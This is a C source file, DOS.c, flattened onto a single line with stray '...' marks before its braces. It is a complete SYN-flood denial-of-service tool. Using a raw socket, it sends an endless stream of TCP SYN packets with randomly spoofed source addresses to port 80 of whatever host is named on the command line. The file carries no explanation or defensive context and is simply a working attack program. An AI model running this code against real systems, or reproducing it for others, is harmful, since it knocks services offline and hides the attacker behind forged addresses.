/**//******************** DOS.c *****************/#include <sys/socket.h>#include <netinet/in.h> #include <netinet/ip.h>#include <netinet/tcp.h>#include <stdlib.h>#include <errno.h>#include <unistd.h>#include <stdio.h>#include <netdb.h>#define DESTPORT 80 #define LOCALPORT 8888void send_tcp(int sockfd,struct sockaddr_in *addr);unsigned short check_sum(unsigned short *addr,int len);int main(int argc,char **argv)...{int sockfd;struct sockaddr_in addr;struct hostent *host;int on=1;if(argc!=2)...{fprintf(stderr,"Usage:%s hostname a",argv[0]);exit(1);}bzero(&addr,sizeof(struct sockaddr_in));addr.sin_family=AF_INET;addr.sin_port=htons(DESTPORT);if(inet_aton(argv[1],&addr.sin_addr)==0)...{host=gethostbyname(argv[1]);if(host==NULL)...{fprintf(stderr,"HostName Error:%s a",hstrerror(h_errno));exit(1);}addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);}sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);if(sockfd<0)...{fprintf(stderr,"Socket Error:%s a",strerror(errno));exit(1);}setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));setuid(getpid());send_tcp(sockfd,&addr);}void send_tcp(int sockfd,struct sockaddr_in *addr)...{char buffer[100];struct ip *ip;struct tcphdr *tcp;int head_len;head_len=sizeof(struct ip)+sizeof(struct tcphdr);bzero(buffer,100);ip=(struct ip *)buffer;ip->ip_v=IPVERSION;ip->ip_hl=sizeof(struct ip)>>2;ip->ip_tos=0;ip->ip_len=htons(head_len);ip->ip_id=0;ip->ip_off=0; ip->ip_ttl=MAXTTL; ip->ip_p=IPPROTO_TCP; ip->ip_sum=0;ip->ip_dst=addr->sin_addr;tcp=(struct tcphdr *)(buffer +sizeof(struct ip));tcp->source=htons(LOCALPORT);tcp->dest=addr->sin_port; tcp->seq=random();tcp->ack_seq=0;tcp->doff=5;tcp->syn=1;tcp->check=0;while(1)...{ip->ip_src.s_addr=random();tcp->check=check_sum((unsigned short *)tcp,sizeof(struct tcphdr));sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr_in));}}unsigned short check_sum(unsigned short *addr,int len)...{register int nleft=len;register int sum=0;register short *w=addr;short answer=0;while(nleft>1)...{sum+=*w++;nleft-=2;}if(nleft==1)...{*(unsigned char *)(&answer)=*(unsigned char *)w;sum+=answer;}sum=(sum>>16)+(sum&0xffff);sum+=(sum>>16);answer=~sum;return(answer);}